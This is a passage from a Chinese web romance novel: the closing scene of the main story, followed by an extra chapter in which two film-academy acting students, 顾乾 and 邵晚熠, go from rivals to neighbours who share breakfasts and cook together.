还想再看得清楚点,那只手捏住他的脸。 “还要看多久?”时璟承的话语里没什么睡意,或许早就醒了。 他垂着眸,看偷偷摸摸蹲在地上的凌蒲。 凌蒲抬头笑了一下,明显有点心虚:“我回来迟了。” “玩得怎么样?”时璟承问。 “没怎么玩。我想着早点回来的,但是不小心睡着了。” 时璟承把手放在凌蒲脑袋上,在柔软的头发上揉了揉:“这么听话。” 凌蒲笑了笑,把脸贴在时璟承腿上:“怎么样,我爸我妈都特别喜欢你吧,完全没有问题。” “嗯。他们都很爱你。” “那也得是你招人喜欢,要是换一个男的早打死我了。” 时璟承摩挲着凌蒲的发梢,低头吻了一下。 安静地夜晚如水,两人独处时连空气都变得暧昧。现在氛围正好,不想凌蒲却忽然抬起头:“唉时璟承,你能不能满足我一个愿望?” “什么?” 凌蒲望了望透过巨大落地窗的月光,望了望皮质沙发,飞快跑到酒柜前,从里面取出一个杯子,取出一个高脚杯,倒入适量红酒,观察了一下颜色漂亮的酒液。 然后怀着憧憬,端到时璟承面前:“你把腿翘起来,端着这个杯子,然后摇晃一下。” 时璟承不明所以,不过还是按照凌蒲的指导做了。 凌蒲退后几步,站在固定角度观察,简直是要热泪盈眶。这就是一直萦绕在他脑海里的,如同霸总一般在落地窗前,摇晃着红酒杯的画面。 他几乎有点感动。 时璟承非常无语,仰头把红酒一饮而尽。 “过来。” 凌蒲乖乖过去,交换了一个红酒味的吻,变得有点晕乎。 时璟承的吻逐渐向下,凌蒲搂紧他的后脑勺。 半个白皙的肩膀露出来,凌蒲躺在黑色沙发上,任人宰割,忽然想起:“对了时璟承,我工资又发了,现在拿钱给你。” 时璟承把他压倒在沙发上:“非要这个时候提钱?” 又在脸颊轻轻咬了下,低声:“粽粽。” 凌蒲耳朵酥麻,已经理智全无,说:“好吧,那先做别的事,结束再给你钱。” 时璟承:“” 落地窗,红酒杯,真皮沙发,霸总和他的粽粽,在过着十分美好的生活。 (正文完)《 》 第142章(番外) 第142章 顾乾x邵晚熠 北明电影学院这届表演系有两个人不对付,这点谁都知道,也习以为常。 就像一山不容二虎,两个优秀的人,总是要不断被放在一起比较,大家也回自然而然地脑补出针锋相对的瞬间,以增强平淡生活的戏剧性。 一位当之无愧是顾乾,在入学之前就备受瞩目,因为一张被偷拍到网上的照片风靡一时。 标准的冷酷帅哥长相,线条清晰,眉目利落,浑身散发着一种别来沾边的气场,而且据网上深扒他的家庭背景,豪门世家却坚决走自己的路线,爸妈在国外不管他,又是标准的美强惨身世。 在开学前人气节节高升,已经有许多人对他指指点点。 【富家公子来娱乐圈,内定的剧本吧】 【长得是真帅啊,这什么逆天建模】 【这种都不会演戏好吗,感觉又是个面瘫】 【家里这么不简单,不懂网上的爆料是真是假】 顾乾就在这样风风雨雨里上的学。 背着书包朝最后一排一坐,前面同学和开了探照灯似的,陆陆续续回头,把或隐蔽或显眼的摄像头举起来,对准他一阵咔嚓。 但方圆几个座位却没人敢坐,原本在附近的同学默默挪窝,改到别的位置。 课间吵吵闹闹,但是和顾乾没关系。 直到门外一声音在附近响起:打破了白噪音般的环境。 “诶,所以真挺巧的,没想到在这里遇到。” 声音属于那种让人第一次听见就挺特别的好听,带着点慵懒的调侃,主要是离顾乾距离太近。 “是啊。”一个女生害羞的声音。 顾乾并没认为这对话和自己有什么关系,毫不在意地看了眼。 发现个男生背影,正和女同学聊天,那女同学不知说了什么,害羞地推他,两人躲闪着朝这边打闹,那男的不小心在顾乾肩膀上撞了下。 “不好意思。” 男生回头道歉。 其实也就轻轻擦碰一点,回答一句没关系就揭过去了。 但顾乾特烦肢体接触,讨厌别人碰他。眉毛先本能拧起,可能在外人看来就是一副特别不耐烦的样子:“嗯。” 其实不管什么回答都挺正常。 平时踩到人家脚,人家心情不好不理你都没什么事,但邵晚熠这人就不喜欢别人冷脸对他,也不喜欢拽得二五八万这种,头长天上去。 于是邵晚熠让那女生先坐到前面去,自己在顾乾旁边坐下来,还是副笑摸样:“请问这儿有人吗?” 终于有人触发了和顾乾的对话,围观群众眼睛一眨不眨,仿佛看电影似的,就差爆米花了。 因为另一位主角也让人眼前一亮,和顾乾完全不是一种类型。身量很高,一双桃花眼满含风流,气质吊儿郎当,一幅什么都不在乎的摸样,只是这回要碰到硬茬了。 “没人。” 邵晚熠便拉开凳子,把书包朝桌上一甩。 顾乾又拧了下眉,还是那副特别烦的样子,带着书包坐到中间的最后一排。 整整后三排都没什么人坐,教室很大,被走廊分割成三列座位,顾乾从右边挪到了中间。 邵晚熠挑眉,跟着过去,坐在旁边。 顾乾抬头看他一眼。 之前从没拿正眼瞧过邵晚熠,这是第一次和他对视,像某种警告,带着几分不耐。 邵晚熠完全不惧,摆出一副没皮没脸的样子,还朝他轻佻地笑了一下。如同三月桃花盛开,魅力能在方圆百里招蜂引蝶。 顾乾觉得更烦:“别坐我旁边。” “刚刚那座位有点脏,我看这没显示有人。还是有什么看不到的东西?” 邵晚熠前后左右看了一圈。 顾乾不想再挪位置,掏出书本听课。 邵晚熠也点到为止,整节课没再继续烦顾乾,也安安静静在旁边听,还人模人样地记笔记,和老师互动得十分积极。 但顾乾还是不习惯旁边有人,不知道从什么时候开始,他就一直都是一个人坐,没同桌,嫌吵。 他把笔转了一圈,忽然余光瞥见教室后门站着几个人。 借着反光的水杯看一眼,发现还有摄像机,一个人在鬼鬼祟祟朝里看。 凭借小时候培养出来的敏锐性,顾乾觉得还是走为上计。因此下课铃一打,便立刻书本一塞想朝外走,但已经迟了,门外的人和排兵布阵似的,把守住各个关卡,门一开便朝里冲,直瞄着顾乾而来。 团团包围,连麦克都准备好了,把状况外的邵晚熠吓了一跳。 “学弟,我们是学校记者社团的,运营一个万粉账号,能耽误你点时间,采访一下吗?” “不行。”顾乾没什么表情。 那几位显然没想到会得到这样冰冷的回答,连一丁点委婉都没有。 不知是谁已经打开了摄像机:“为什么不接受采访呢?是觉得不想被大家了解吗?其实也没有恶意的,之前采访了很多其他同学他们都答应了。” 另一位接道:“是啊,我们知道你身份特殊,不会问敏感话题的。” “这是学校的平台,也是在给学校增加热度嘛,你就贡献自己一份力量呗?你才来第一天可能不懂,学校还是挺注重这一方面的。” 顾乾这人冷归冷,但最不擅长应付的就是这种七嘴八舌的场面,一个接着一个不知道说些什么,他根本来不及挨个反驳。 只能表情变得更冷更凶,但显然不起任何作用。 “你怎么不贡献你力量呢?” 忽然,一个吊儿郎当的声音从旁边响起,怼人的意思昭然若揭,大家都转头看过去。 邵晚熠悠悠地和最后一位发言的人说:“你怎么不把你那些家长里短公布出来呢,比如家里存款多少,父母有几段感情史,虽然可能看得人少,但也比普通的有流量。” “还记者社呢,我看你们是狗仔社吧。”邵晚熠一身正气,“这里是电影学院,为将来演艺圈输送人才,助长这种歪风邪气,不太好吧。” 几个扛着摄影机的被说得一愣一愣,一方面是没找到反驳他的话,另一方面是在想这人是从哪里冒出来的,在这里多管闲事。 但邵晚熠好人做到底,趁着大家都在愣神的功夫,把顾乾拉出了包围圈。 带着他朝下快步走,一直到一个隐蔽的小平台才停下。 “我昨天已经把这里的路摸熟了,特地标记了这小平台。位置绝佳,压根不会有人发现。” 顾乾看着这位过分热心的群众,一时间不知道该说什么。 人类总是这么奇怪,前一秒还和你针锋相对,后一秒又不知道出于什么原因伸出援手,顾乾一般对这种不好读懂的都是敬而远之。 “不是吧,你不说谢谢也就算了,竟然还冷着张脸。狗咬吕洞宾?” 顾乾不擅长对这种玩笑的反驳,硬邦邦地问:“你标记这个平台干什么?” “喂,我长这么帅,很容易陷入一些狂热的麻烦,当然要为自己找好脱身之计。” 邵晚熠拨弄了一下他额前的碎发。在方才奔袭的路上,已经不知什么时候把外套给脱了,露出宽肩窄腰,确实是个帅哥。 但用这种语气说出来,只觉得十分欠揍。 主要这话又落在地上,淡淡的空气有一些尴尬。 “妄想症。”顾乾忽然说。 邵晚熠愣了愣,似乎是没想到顾乾还能回应他,更没想到用的是这种四不像的方式。又像骂人又像开玩笑,但又让人挺想笑,如同某种冷幽默。 于是他笑了,笑得不太纯粹,有点嘲讽的意味。那双眼睛情感丰富,这些都在里面展示得清清楚楚。 这让顾乾的脸色又冷下来,甩着自己的书包想走,但一眼看到外面人还挺多,显然明智的方式是等到一会儿打响上课铃再走。 这个小平台实在是十分狭隘,为了避免和邵晚熠产生任何交流,顾乾背过身。 邵晚熠便也背朝另一边:“你叫什么名字?” “关你什么事。” “诶,你以为我很想知道你名字吗?就是觉得你都知道我叫什么了,我还不知道你叫什么,可能有点不礼貌。” “我为什么会知道你叫什么。” “刚才老师提问了我有五次吧,他都记得我名字了。” “我没记得。” “好吧。我叫邵晚熠。” “哦。” “” 邵晚熠换做别的情况早就转身走了,但他现在看顾乾不爽的样子忽然觉得有点爽,硬是赖在原地:“其实我知道你叫顾乾。你很火。虽然离我还差一点。” 见顾乾这回不再理他,邵晚熠也背过身,不过随意地哼起了“我们背对背拥抱”,歌声在小平台氤氲。 顾乾实在是受不了了,他宁愿被拍,宁愿被采访,也不愿意再和邵晚熠共处在一个屋檐下。 他迈步走出去,到了另一个教室上课。 * 顾乾在宿舍住不惯,没什么犹豫地选择了搬出去。 他还是喜欢一个人,不想有任何没必要的交流和牵扯。 这也是他和父母之间的关系,各活各的,挺好。 于是特地挑了个远一些的小区,当然规格还是一等一的豪华,顾乾并不会在花销上亏着自己,反正钱也花不完,图个清静。 刚把家搬完——准确来说是揣着兜看搬家工人把所有东西放到位,顾乾在一楼打量全小区的目光忽然凝在一处。 别人都以为他冷淡不记得任何人的名字,但其实顾乾过目不忘,每个人都能对上号,但懒得记名字,反正也不会叫出口。 楼下这个就是上次课上遇到的,很烦人的那个热心神经病。 但顾乾并不能完全确定,因为虽然脸长得一模一样,但气质略有不同。 这人只简单穿了件黑色t恤,看上去挺沉稳,和学校碰到的那个自大狂有所不同, 邵晚熠也看见了他。 四目相对的那一瞬间,顾乾清晰地看见对方眼睛微微眯起,然后那双桃花眼弯起来,笑得像只狐狸:“哟,顾乾同学。” 没跑了,就是那个自大狂。 顾乾面无表情地移开视线,朝电梯走去。 步伐匆匆,希望能够赶在某个时间点之前离开这一楼层。但天不遂人愿,电梯从两位数字一层一层地朝下下,变化很慢。 邵晚熠跟上来,仿佛不知道顾乾躲他似的,并肩站着等电梯,自然搭讪:“你也住这儿?” “嗯。” “几楼?” “……” “希望别和我爷爷奶奶一楼层。” 顾乾没理他,但也在心里祈祷,希望两人之间隔个十几层,最好八竿子打不着。 电梯来了,他走进去,邵晚熠也跟着进去。 两个人一左一右站着,中间隔着至少一米五的距离。 邵晚熠伸手按了17楼。 顾乾眉心一跳。 邵晚熠敏锐地捕捉到他的表情变化,挑眉:“你怎么不按?跟踪我?电梯里那种变态跟踪狂你知道吗?上电梯别人不主动按电梯的时候就该跑了。” “你跑吧。” “要跑你跑。虽然我们看起来身材相当,不过我好像比你高一点。” 邵晚熠站直,抬头,目光朝下睥睨。 在狭小的电梯里,这个动作让两人产生了不必要的交流,气氛有些奇怪。 “不是吧,你真不按”邵晚熠的表情逐渐变得精彩,“去哪一户?” 顾乾不说话。 邵晚熠掏出手机翻了翻,然后整个人都不好了:“1702?你不会和我爷爷奶奶有什么关系吧。” 顾乾终于开口:“1701。” “” 邵晚熠看着屏幕上的地址,这人还真住他爷爷奶奶隔壁。邵晚熠几乎一半时间住校,另一半时间就在他爷爷奶奶这。 还真是挺巧,邵晚熠也觉得顾乾是个怪人,只是觉得这样挺好玩,没想真朝夕相处,他喜欢热情的邻居。 电梯里的沉默震耳欲聋。 看到顾乾也很嫌弃又不爽的样子,邵晚熠嘴又闲不住:“这小区真不错,一梯两户,邻居素质高,安静。” “你看咱们挺有缘分,一个班,还住对门。以后可以一起上下学,互相有个照应。” “不需要。” “需要吧,”邵晚熠笑道,“你看啊,万一你哪天忘记带钥匙,可以来我家坐坐;万一我哪天饿死了,你可以来给我收尸。” 顾乾终于正眼看他:“你话一直都这么多吗?” “没错。”邵晚熠眨眨眼,“建议装个隔音墙。” 电梯到了。 顾乾大步走出去,刷卡进门,砰的一声关上。 邵晚熠站在自己家门口,看着对面紧闭的门,忽然笑了一下。 有意思。 * 顾乾以为自己只要无视邵晚熠,两个人就能相安无事地做一对陌生邻居。 但学校课程安排在那,偶遇的概率远远高于他的心理预期。 早上七点,他打开门,看到邵晚熠拎着杯咖啡站门口,朝嘴里塞面包,看到他明显被噎了一下,仰头灌咖啡顺了半天。 “我们不同路。别一起走。”顾乾冷道。 “同一个学校有什么不同路。”邵晚熠皮笑肉不笑,“还是说路也是你家修的,只能你走,别人不能走?” 顾乾想拒绝,但邵晚熠已经转身按了电梯,根本不给他机会。 于是顾乾被迫和邵晚熠一起走进了教室,还是肩并肩的那种,因为邵晚熠非要和顾乾肩并肩。一个越是想甩开,另一个就走得越快。 全班同学的目光唰地聚焦过来,后排的几个女生凑在一起窃窃私语,声音大得就差拿个喇叭喊: “什么情况?他们不是不对付吗?” “什么啊,那天不是英雄救美吗?你们没听那个故事,我靠,当时有人拿着摄像机想打顾乾,邵晚熠挺身而出,拉着顾乾就跑。” “和我听得版本不一样啊,不是说邵晚熠偷偷买通狗仔队来拍顾乾么。” “我觉得这个有道理,你看顾乾那脸色,还是想刀人的样子。” “那为什么一起来?” “不知道,诶他俩站一起真养眼,感觉还挺登对的,好好嗑……” 顾乾听力极好,脸色更冷了。 邵晚熠倒是心情很好地朝那几个女生挥了挥手,换来一阵声浪。 顾乾忍无可忍:“你能不能低调点?” “不能。”邵晚熠理直气壮,“我长这么帅,低调是对人类审美的不尊重。” 顾乾白了他一眼。他自己都没想到有这个表情,不过就是白了他一眼,让邵晚熠如同发现新大陆似的,夸他这样挺酷。 这节是表演课。老师讲着讲着,忽然抛出一个问题:“我要请两位同学来示范一下这段即兴表演?大家推荐吧,想看哪两位表演。” 不知道是哪位带的头,顾乾和邵晚熠的名字压倒了其他杂七杂八,响彻在课堂的上空。 顾乾:? 老师点点头,本来他只是随口一问,但毕竟民意难为:“好,顾乾和邵晚熠这两位同学上来吧。” 顾乾想拒绝,但全班同学已经鼓起了掌,一个个兴奋得像在看戏。 他只能站起来,走到讲台前。 邵晚熠凑过来小声说:“放轻松,随便演演。” “演什么?” “即兴啊,老师会给情境。” 老师翻了翻题卡:“情境:一对情侣,其中一方要走,另一方挽留。你们自己分配角色。” 全班爆发出起哄的声音。 顾乾:“” 邵晚熠立刻说:“我演要走的那个,你挽留我。” 顾乾冷冷地看着他:“凭什么?” “因为你看起来就不会挽留人,我想看看你怎么演。” “” 表演开始。 邵晚熠拖着行李箱,一脸决绝:“我要走了。” 顾乾站在原地,面无表情。 邵晚熠等了一会儿:“你说句话啊。” 顾乾:“哦。” 全班压抑不住地笑起来。 邵晚熠继续演:“你就这个反应?我们三年的感情,你就一个‘哦’?” 顾乾想了想,补充道:“一路顺风。” 笑声更大了。 邵晚熠把行李箱一扔,走回来揪住顾乾的衣领:“你有没有心啊顾乾?我要走了,去那么远的地方,可能一年都见不到一次,你就不难过?” 顾乾低头看他揪着自己衣领的手,眉头微皱。 按照他平时的性格,早就把人推开了。 但不知道为什么,他没有动。 邵晚熠的睫毛很长,凑近看的时候尤其明显,那双桃花眼里盛满了戏谑和某种他说不清的东西。 顾乾忽然忘了词。 老师适时喊停:“好,可以了。” 邵晚熠立刻松开手,退后一步,又恢复了那副吊儿郎当的样子:“老师,他演得怎么样?” 老师笑着评价:“顾乾的表演很克制,符合人物性格,但如果能多一点情绪波动会更好。邵晚熠的爆发力不错,整体很生动。” 顾乾回到座位上,脑海里莫名回荡着刚才的场景,很久没人敢离他这么近了。 该死的邵晚熠。 他竟然真的比自己高一点 * 顾乾是个聪明人,逐渐也拿捏了点规律,发现邵晚熠这人就是欠。越逆着他越来劲,要没什么反应反而还能安静不少。 靠着这个规律相安无事几天,顾乾逐渐放松警惕。 直到某天刚出电梯,就看到邵晚熠蹲在门口,吓了他一大跳。 “你又干什么?”顾乾问。 邵晚熠抬起头:“我笔记本在屋里,但是爷爷奶奶旅游去了。我没带钥匙,开锁师傅要一个小时才能到。” “哦。”顾乾点头,补充,“我不会让你到我家坐的。” “我没想到你家坐吧,我俩熟到那份上了吗?”邵晚熠本能道。 顾乾立刻后悔了,刚才一定是被什么东西附身了才会说出那种自作多情的话,之前邵晚熠和他演得太熟了,但其实他们俩一点都不熟。 邵晚熠看着静止的顾乾,感到挺奇怪,再一仔细观察,发现对方耳朵根竟然有点红。 这对脸皮厚如城墙的邵晚熠来说简直是最新奇的事物,他立刻来了精神,在这里等了半小时的疲倦一扫而空。 “不行。我就要去你家坐一会儿。” “不能。” “顾乾,”邵晚熠站起来,眼神真诚得不像话,“咱们好歹是同学加邻居,你就忍心让我在走廊里蹲一个小时?” 顾乾盯着他看了三秒,然后刷卡开门。 邵晚熠立刻跟进去:“我就知道你面冷心热!” “闭嘴,坐沙发,别乱动东西。” “好的。” 邵晚熠坐在沙发上,环顾四周。顾乾的家和他想象中一样,简约冷淡,黑白灰三色,没什么生活气息,和冰窟似的。 茶几上放着一本翻开的书,邵晚熠瞄了一眼——《演员的自我修养》。 他忍不住道:“你还看这个?” “不行?” “行,当然行。”邵晚熠靠在沙发上,“不过我觉得你已经够能装了,不用学。” 顾乾倒水的动作一顿。 邵晚熠改口:“开玩笑的,别生气。” 顾乾把水杯放在他面前,在他对面的单人沙发上坐下,开始看书,完全当他不存在。 邵晚熠也不在意,掏出手机刷了刷,时不时抬头看顾乾一眼。 灯光下,顾乾的侧脸线条格外分明,睫毛在眼睑下投出一小片阴影,看起来安静又疏离。 邵晚熠心中莫名柔软,问:“你为什么总是一个人?” 顾乾翻书的手停了一下。 “不为什么。” “总有个原因吧。” “习惯了。” 邵晚熠沉默了一会儿,然后说:“我以前也总是一个人。” 顾乾抬头看他。 邵晚熠轻松地倚着沙发靠背:“后来发现,一个人是挺爽的,但有时候也挺没意思的。” 顾乾没说话。 门铃响了。 邵晚熠站起来:“应该是开锁师傅。” 顾乾送他到门口,邵晚熠回头欠欠地加了句:“顾乾,明天早上一起上学吗?” “随便。” 邵晚熠没想到这回没得到否定回答,他都已经做好被极其冷酷拒绝的准备了。 不由愣了两秒,才说:“那就这么说定了。” 他走出去,又探回半个脑袋:“对了,你演技真的很差,以后我帮你补课吧,免费的。” 然后不等顾乾反应,“砰”地关上了门。 顾乾站在玄关,看着对面紧闭的门,嘴角动了一下。 又很快压下去。 顾乾觉得自己可能撞了什么邪。 早上七点,门铃准时响起,邵晚熠拎着早餐站在门口。 “今天换了一家,你尝尝这个三明治。” 顾乾想说“我没让你带”,但邵晚熠已经把东西塞他手里,转身按了电梯。 到教室,邵晚熠自然而然地坐到他旁边,把书包里的书本朝外掏,还很自来熟地把顾乾的东西朝旁边挪了挪,腾些地方出来。 “你那边不是有空位吗?”顾乾指了指左边空着的三个座位。 “太远了,不方便说话。” “我本来就不想说话。” “我知道啊,”邵晚熠翻开课本,“所以更需要我来说。” 顾乾不再理他,知道再多说也只会浪费口舌,于是再次像上回一样,打算自顾自地学习,全当邵晚熠不存在。 上课的时候,顾乾感觉到手机震了一下。 这实在是很新奇,他的手机一般都不用开免打扰模式,因为在拦截陌生号码之后,很少有人会联络他。 他点开一看,是邵晚熠发的消息——他们昨天刚加的,理由是“方便联系邻居事务”。 【邵晚熠】:老师今天领带打歪了 顾乾瞥了一眼讲台,确实歪了。 他没回。 过了一会儿手机又震。 【邵晚熠】:你笔记借我抄抄/可怜 【顾乾】:自己记。 【邵晚熠】:我忙着观察你,没空记/龇牙 顾乾手指一顿,下意识转头,正好对上邵晚熠含笑的眼睛。这真是一双特别有魅力的桃花眼,仿佛能勾人魂似的,里面水波荡漾,看一眼就像被烫了下。 顾乾立刻转回去,耳朵有点热。 【顾乾】:有病 【邵晚熠:你还会骂人?!!】 下课铃打响,忽然有人敲了敲桌子。 顾乾抬头,看到一个不认识的女生站在面前,手里捏着一个信封。 “顾乾,这个给你。” 情书。 “不用。”顾乾对这种场面已经很熟悉了。 “这是别人让我代转交的,她说一定要交到你手里才给我结算呢。类似于跑腿,所以麻烦你必须得收一下。” 还有这样的道理,顾乾正要开口继续拒绝,旁边伸过来一只手,把那封信抽走了。 “谢谢。我帮他收着。”邵晚熠晃了晃手里的信封,笑得人畜无害,“他收了我的保护费,现在所有信件都由我代收。” 女生愣住了:“啊?” 顾乾也拧眉:“什么保护费?” “就是那个,”邵晚熠一本正经地胡说八道,“你不是让我保护你不被人骚扰吗?一个月五百块,包月服务,信件统一销毁。” “我什么时候——” “他害羞,”邵晚熠打断顾乾,对女生歉意地笑笑,“所以你看,这封信我就先替你销毁了,省得他为难。” 女生看看邵晚熠,又看看顾乾,眼神逐渐变得微妙。 然后她“哦”了一声,转身跑了。 顾乾:“你干什么?” 邵晚熠把信收进口袋:“帮你挡桃花啊,不用谢。” “我让你挡了吗?” “你这表情,不就是让我挡的意思吗?”邵晚熠理直气壮,“你看那女生多尴尬,你要是当面拒绝她,她得多难过。我这么一说,她回去就可以跟朋友骂我,完美转移仇恨。” 顾乾张了张嘴,发现自己竟然无法反驳。 “而且,”邵晚熠凑近了一点,压低声音,“万一里面有写什么重要的事呢,我先帮你看看。” “有什么好看的?” “万一不是情书呢,万一是挑战书呢,万一是欠条呢?” 顾乾看着他:“你觉得会是欠条吗?” 邵晚熠眨眨眼:“说不定。” 然后他假装拆开信封,当着顾乾的面大声朗诵。 “嗯‘顾乾同学,从开学第一天我就注意到你了‘你的气质很特别,像是一座冰山。’……哇这句写得好,回头我也学学。” 顾乾伸手去抢:“还我。” 邵晚熠举高手,仗着身高优势躲开:“别急,我还没看完呢。‘如果能做你的男朋友” 两人都是一愣。顾乾皱眉:“男朋友?” 他不由凑近一点看,却发现信封压根就没有拆封,是邵晚熠自己在临场发挥,最后一句也是秃噜嘴,男朋友三个字顺势而出。 邵晚熠安静一下,把信封递给顾乾。 “给。” 顾乾接过,发现邵晚熠的表情有点不一样了,刚才的笑意淡了一些,不知道在想什么。 “怎么了?” “没什么,”邵晚熠站起来,“就是觉得,你以后收的情书会更多。” “为什么?” “因为你这种人吧,”邵晚熠低头看他,光线从背后打过来,又像三月桃花盛开似的,“看着冷,其实不讨厌。越接触越想接触。我这种作文不及格的人都能随口作情书了。” “那是你经验丰富。” 邵晚熠笑了笑,转身走了。 顾乾捏着那封信愣了几秒。 总感觉氛围有点奇怪。 · 下午没课,顾乾去超市买东西。 推着车在货架间穿行,顺手拿了几盒速食产品,正准备去结账,余光瞥见一个熟悉的身影。 邵晚熠站在零食区,手里拿着两包薯片,正在认真比较配料表。 他穿着一件宽松的卫衣,帽子上的抽绳垂下来,随着他低头的动作晃来晃去。 顾乾本来想装作没看见,但邵晚熠就像脑袋后面长了眼睛一样,突然转过头来。 “顾乾!” 他挥了挥手里的薯片,笑得眼睛弯起来:“好巧啊,你也来超市?” “嗯。” “等我一下,我马上好。” 邵晚熠把两包薯片都扔进购物车,小跑过来,很自然地接过顾乾推着的购物车,往里面瞄了一眼。 “你就吃这个?” 顾乾的购物车里,整整齐齐码着五盒速食意面、三盒自热米饭、两袋速冻水饺,以及几包泡面。 邵晚熠用一种看神奇生物的眼神看着他:“你是人类吗?” “什么意思?”这话一般都是顾乾和别人说。 “这些东西,”邵晚熠指了指购物车,“吃多了会死人的。” “不会。” “会。”邵晚熠把购物车掉了个头,“走,我带你重新买。” 顾乾被他拉着往前走:“我自己会买——” “你会买什么?防腐剂大全吗?”邵晚熠头也不回,“你家冰箱我那天看了,空的能冻死人,里面就两瓶矿泉水。你平时在家都吃什么?” “外卖。” “外卖不健康。” “速食也不健康。” “至少比外卖好一点点。”邵晚熠在生鲜区停下来,开始往购物车里放蔬菜,“而且你可以自己做啊,做饭又不难。” 顾乾看着他往车里放了一颗西兰花、两个番茄、一盒鸡胸肉,终于忍不住问:“你会做?” “当然,”邵晚熠理直气壮,“我六岁就会煮泡面了。” “那也叫会做饭?” “不然呢?”邵晚熠又拿了一盒鸡蛋,“反正做熟了就能吃,能吃就不算失败。” 顾乾无话可说。 结账的时候,邵晚熠把他的东西和自己的放在一起,抢在顾乾之前刷了卡。 “干什么?” “请你吃饭,”邵晚熠拎起袋子,“作为你让我在你家蹭座的回报。” “我没让你蹭座。” “但你也没赶我走啊。”邵晚熠冲他眨眨眼,“走吧,去你家,我给你露一手。” 四十分钟后。 顾乾站在厨房门口,看着一片狼藉的灶台,陷入了沉默。 邵晚熠围着从柜子里翻出来的新围裙,正在跟一颗土豆搏斗。那土豆在他手里像个不听话的活物,削皮刀刮几下,土豆就滚一下。 “你别跑啊,”邵晚熠嘟囔着,“我又不杀你,就是给你脱个衣服。” 顾乾:“你确定你会做饭?” “确定啊,”邵晚熠终于削好了一半的皮,“就是好久没做了,手生。” “多久?” 邵晚熠想了想:“大概三年?因为我们已经有三年的感情基础了。” 他说的是当时表演课的台词,莫名其妙的。 顾乾走过去,从他手里接过削皮刀和土豆。 “我来。” 邵晚熠愣了一下,然后让开,靠在一边看他削。 顾乾的动作很利落,土豆在他手里转了几圈,皮就完整地削了下来,薄薄的一层,几乎不带肉。 “哇,”邵晚熠惊叹,“你竟然会?” “小时候学过。” “为什么学?” 顾乾没回答。 他把土豆切成块,又拿起番茄开始切。刀工很稳,每一块都差不多大小。 邵晚熠在旁边看着,忽然问:“是你一个人住的时候学的吗?” 顾乾的手顿了一下。 “不是。” 他没再说下去,邵晚熠也没再问。 两个人一个切菜一个炒菜,竟然配合得还算默契。虽然邵晚熠炒菜的时候差点把锅烧了,但在顾乾的及时补救下,最后端上桌的居然也能看。 番茄炒蛋、青椒肉丝、紫菜蛋花汤。 三道最普通的家常菜,冒着热气摆在顾乾家那张从没用过的餐桌上。 邵晚熠夹了一筷子番茄炒蛋,不吝赞赏:“好吃!” 顾乾尝了一口,没说话。 “你怎么不吃?”邵晚熠看他,“不好吃吗?” “还行。” “那你怎么这个表情?”邵晚熠刨根究底。他发现顾乾总是不爱说真实想法,要催一下才能说。 顾乾又夹了一筷子,淡道:“很久没吃家里做的饭了。” 邵晚熠的动作停了一下。 他看着顾乾低垂的眼睫,看着那张总是冷淡的脸上难得出现的一丝柔软,心脏忽然漏跳了一拍。 “那以后我常来做,”他说,“反正我也不会做,你来切菜,我来炒,分工合作呗。” 顾乾抬头看他。 窗外夕阳的余晖洒进来,把邵晚熠的脸染成温暖的橘色。他笑着,眼睛弯成两道月牙,看起来很真诚。这真诚似乎和整个人的气质相悖,明明应该是很风流的一个人。 顾乾有时候走在路上,都能听到大家对邵晚熠的评价。从小学初中到高中,似乎都是没有差别的,说是异性缘很好,经常被表白,好像经常谈恋爱。 虽然和他相处的时间不长,但也经常看到对方身边有女生。 现在怎么可能产生真诚的错觉? 顾乾低下头,继续吃饭。 “随便你。” 邵晚熠很高兴。 吃完饭,邵晚熠主动洗碗,顾乾在旁边收拾桌子。 厨房里水声哗啦,偶尔夹杂着邵晚熠哼歌的声音,听起来心情很好。终于不再哼“背对背拥抱”,实话来说,唱得并不算难听。 毕竟有这样的好嗓子,只要不跑调,都占据先天的优势。 顾乾擦完桌子,拿着抹布,他并不像挤进这个厨房,于是站在厨房门口看着邵晚熠发呆。 灯光下,邵晚熠的背影看起来比平时更顺眼一点。其实本该如此,毕竟宽肩窄腰,身量极高,老师说他天生就该是属于电影的好苗子。 头发也挺密,发型和这个人一样,透着一种很不正经的渣男气质。 “顾乾,”邵晚熠头也不回,“你再这么盯着我看,我要收费了。” 顾乾移开视线,冷道: “谁看你了?” “你啊,”邵晚熠转过头,手上还沾着泡沫,“从刚才就一直站在门口,不是看我是看什么?” 顾乾转身就走。 直到晚上九点,邵晚熠终于走了。 顾乾关上门,靠在门板上,听着对面门关上的声音,忽然觉得房间里有点空。 明明平时都是一个人,也没觉得什么。 今天却觉得很空,不仅是空间空荡,还有周遭很安静,安静得有点过分,他已经很多年没有产生这样的感觉了。 或许邵晚熠说的对,他只是习惯了孤独,而孤独从来没有离开过。 但邵晚熠又凭什么定义他的生活,他一直以来都是如此生活。 走到餐桌旁,发现桌上放着一张便利贴。 【明天的早餐我包了,七点开门】 后面的签名龙飞凤舞,但依然能勉强辨认出邵晚熠这三个字来。 顾乾盯着那张便利贴看了几秒。然后他把便利贴撕下来,想了想,没有扔,放进了茶几的抽屉里。 第二天早上六点五十八分,顾乾站在卧室门口。没朝大门去,也没继续躺在床上,就是莫名其妙地站在这里。 也不知道自己在看什么,或者说在等什么。 直到七点整,门铃响了,响得挺短促,像是邵晚熠的风格。 顾乾数了一分钟左右,才打开了门。 邵晚熠拎着早餐站在门口,看到他的时候愣了一下。 “你早就起来了?” “没有。”顾乾立刻否认。 “那你睡衣怎么一丝褶皱都没有,甚至感觉像是熨过一样。” “材质好。”顾乾说道,“很贵。” 邵晚熠狐疑地看着他,不过没多久就笑了:“行吧。少爷穿的那件衣服不贵。” 顾乾接过早餐,转身进屋。 邵晚熠跟进来,很自然地换了拖鞋,坐到餐桌旁,仿佛这是他家一样。随意地挽起袖子,把橱柜里的餐具拿出来。 不知从什么时候开始,顾乾竟然能够接受在家里有这样一个活物,真是很神奇。《 》